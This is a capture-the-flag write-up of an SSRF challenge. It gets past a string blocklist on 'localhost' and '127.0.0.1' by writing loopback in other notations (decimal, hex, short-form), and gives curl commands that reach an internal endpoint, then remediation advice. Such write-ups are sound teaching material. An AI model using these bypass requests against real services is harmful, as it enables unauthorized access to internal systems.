SproutLogix Metadata Aggregator CTF: SSRF Through a Loopback String Blocklist
SproutLogix Metadata Aggregator: Challenge Brief
SproutLogix runs a "Metadata Aggregator" that imports JSON records from researcher-supplied URLs. Because the application fetches those URLs server-side, it is vulnerable to Server-Side Request Forgery (SSRF). A debugging endpoint,
/api/internal/heritage-vault, is exposed but "protected" by a loopback-only access check. That check is implemented as a naive string match againstlocalhostand127.0.0.1, which is trivially bypassed by expressing the loopback address in an alternate notation.
Pointing the aggregator at its own internal endpoint via an encoded loopback address returns the flag. Solved with zero hints used, full points.
SproutLogix Metadata Aggregator Reconnaissance
The challenge briefing described a tool that "imports JSON records from researcher-provided URLs" and explicitly called out a fetch endpoint plus a "local-only" internal vault. The published API surface listed seven endpoints:
GET /
GET /about
GET /dashboard
GET /fetch <-- server-side URL fetcher
GET /api/internal/heritage-vault <-- target, "local management console only"
GET /submit
POST /submit
Two observations drove the whole exploit:
/fetchis the SSRF primitive. It accepts a URL and retrieves it from the server. Whatever the server can reach, we can reach./fetchisGET-only. The briefing text said "POST/fetch", but the API surface listed onlyGET /fetch. The briefing was a red herring.
SproutLogix Metadata Aggregator: Confirming the Request Method
The first attempt followed the briefing literally and used POST:
curl -s -X POST http://target:5000/fetch \
--data-urlencode "url=http://localhost:5000/api/internal/heritage-vault"
Response:
405 Method Not Allowed
The 405 confirmed /fetch does not accept POST. Switching to a GET request with the URL supplied as a query-string parameter:
curl -s -G http://target:5000/fetch \
--data-urlencode "url=http://localhost:5000/api/internal/heritage-vault"
curl -G appends --data-urlencode values to the URL as a properly encoded query string while keeping the request a GET.
SproutLogix: Hitting the Loopback Filter
The GET request reached the application logic, which rejected it:
Security Restriction: Direct access to loopback (localhost/127.0.0.1) is blocked.
The server inspects the supplied URL and blocks it if it contains the literal strings localhost or 127.0.0.1. This is a blocklist on the textual representation of the address, not on the address the URL actually resolves to.
SproutLogix: Bypassing the Loopback String Filter
127.0.0.1 is only one of many ways to write the IPv4 loopback address. Any of the following resolve to the loopback interface but contain neither blocked string:
| Notation | Example | Result |
|---|---|---|
| Decimal (dword) | http://2130706433:5000/... | Worked |
| All-interfaces | http://0.0.0.0:5000/... | Worked |
| Short-form loopback | http://127.1:5000/... | Worked |
| Hex-encoded | http://0x7f000001:5000/... | Worked |
| IPv6 loopback | http://[::1]:5000/... | Failed - IPv4-only service |
Alt. 127.0.0.0/8 address | http://127.0.0.2:5000/... | Worked |
127.0.0.1 in decimal: 127·256³ + 0·256² + 0·256 + 1 = 2130706433.
The winning request:
curl -s -G http://target:5000/fetch \
--data-urlencode "url=http://2130706433:5000/api/internal/heritage-vault"
Response:
<h3>Import Successful</h3>
<p>Source: http://2130706433:5000/api/internal/heritage-vault</p>
<hr>
<pre>AUTHENTICATED - Heritage Seed Record: LEVELUP{REDACTED}</pre>
Four of the six bypasses succeeded. 0.0.0.0, 127.1, and 0x7f000001 returned the flag just as well. Only [::1] failed, and the error message was itself informative:
Error importing from node: HTTPConnectionPool(host='::1', port=5000):
... [Errno 111] Connection refused
That Connection refused confirms the internal service binds IPv4 only, useful enumeration detail.
SproutLogix Metadata Aggregator CTF Flag
LEVELUP{REDACTED}
SproutLogix Attack Chain
/fetch endpoint accepts a user-controlled URL and fetches it server-side
|
v
Initial POST request returns 405 Method Not Allowed; switch to GET
|
v
GET with url=http://localhost:.../api/internal/heritage-vault is blocked
by a string-matching filter on "localhost" / "127.0.0.1"
|
v
Rewrite the loopback address in an alternate notation
(decimal dword, 0.0.0.0, 127.1, 0x7f000001, 127.0.0.2 - pick any)
|
v
String filter does not see the blocked substrings; the request resolves
to loopback at connect time
|
v
Internal heritage-vault endpoint returns the flag
SproutLogix Root Cause Analysis
Two distinct flaws combine to produce the vulnerability.
An SSRF primitive with no egress controls. The /fetch endpoint takes an arbitrary user-controlled URL and issues a server-side request to it (the Python requests-style stack trace in the IPv6 error confirms the implementation). There is no allowlist of permitted hosts, so the server happily makes requests to internal addresses on the user's behalf.
A defense based on string matching, not address resolution. The internal vault is "protected" by rejecting URLs whose text contains localhost or 127.0.0.1. This conflates what the URL says with where the request goes. The entire 127.0.0.0/8 block is loopback; the address can be written in decimal, hex, octal, short-form, or as a hostname that resolves to a loopback IP. A textual blocklist cannot enumerate all of those, so it is bypassable by construction.
SproutLogix Remediation: How to Actually Block SSRF to Internal Targets
The fix is to validate the resolved destination IP, not the URL text:
- Resolve the hostname to its IP address(es) before making the request, and reject the request if any resolved address falls inside loopback (
127.0.0.0/8,::1), private (10/8,172.16/12,192.168/16), link-local (169.254/16,fe80::/10), or other reserved ranges. - Prefer an allowlist of approved researcher-node hosts over a blocklist of bad ones.
- Re-validate after DNS resolution and pin the connection to the validated IP to defeat DNS rebinding (a name that resolves to a safe IP at check time and a loopback IP at request time).
- Disable HTTP redirect following, or re-run the same validation on every redirect hop, so an external page cannot bounce the request to an internal target.
- Restrict allowed URL schemes to
http/httpsonly - blockfile://,gopher://,ftp://, etc. - Run the fetcher in a network-segmented context so internal/management endpoints are simply unreachable from it, independent of any application-layer check.
- Don't expose debug or management endpoints on the same listener as user-facing traffic.
SproutLogix Metadata Aggregator Lessons Learned
- Read the actual API surface, not the prose briefing. The
POSTvsGETmismatch on/fetchwas the first real obstacle, and a405response settled it immediately. Briefings can lie; the endpoint listing is the ground truth. - Loopback has many spellings. When a filter blocks
localhostand127.0.0.1by name, the loopback address has many equivalent encodings: decimal dword, hex, octal, short-form,0.0.0.0, the whole127.0.0.0/8range, and IPv6::1. Spraying several at once is fast and reveals which interface families the target listens on. - String filters can't defend a network boundary. Any SSRF defense that operates on the URL text rather than the resolved IP is, in the general case, a speed bump. Validate the destination address after resolution and reject reserved ranges.
- Error messages are reconnaissance. The IPv6
Connection refusedtrace confirmed an IPv4-only bind. Verbose backend errors in security-relevant code paths are a gift to attackers and a checklist item for defenders.
SproutLogix Exploit Command Reference
# Fails - /fetch is GET-only
curl -s -X POST http://target:5000/fetch \
--data-urlencode "url=http://localhost:5000/api/internal/heritage-vault"
# Fails - loopback string blocklist
curl -s -G http://target:5000/fetch \
--data-urlencode "url=http://localhost:5000/api/internal/heritage-vault"
# Succeeds - decimal-encoded loopback bypasses the blocklist
curl -s -G http://target:5000/fetch \
--data-urlencode "url=http://2130706433:5000/api/internal/heritage-vault"
SproutLogix Metadata Aggregator: Final Thoughts
This is a textbook SSRF challenge dressed up in a believable "import JSON from researcher URLs" workflow. The interesting part is not the SSRF itself, but the deliberately-weak defense layered on top of it. A string blocklist for localhost / 127.0.0.1 looks reasonable to anyone who hasn't thought carefully about how URLs resolve, and it's the kind of mitigation that ships to production all the time.
The bypass - encoding the loopback address as a 32-bit decimal integer - is one of the oldest tricks in the SSRF playbook. It's worth keeping a short list of equivalent notations memorized: 127.0.0.1, 2130706433, 0x7f000001, 0177.0.0.1, 127.1, 0.0.0.0. Different filters break on different ones, and trying them in parallel is faster than reasoning about which encoding the specific filter happens to miss.
Challenge hosted on LevelUpCTF. Writeup completed: May 2026.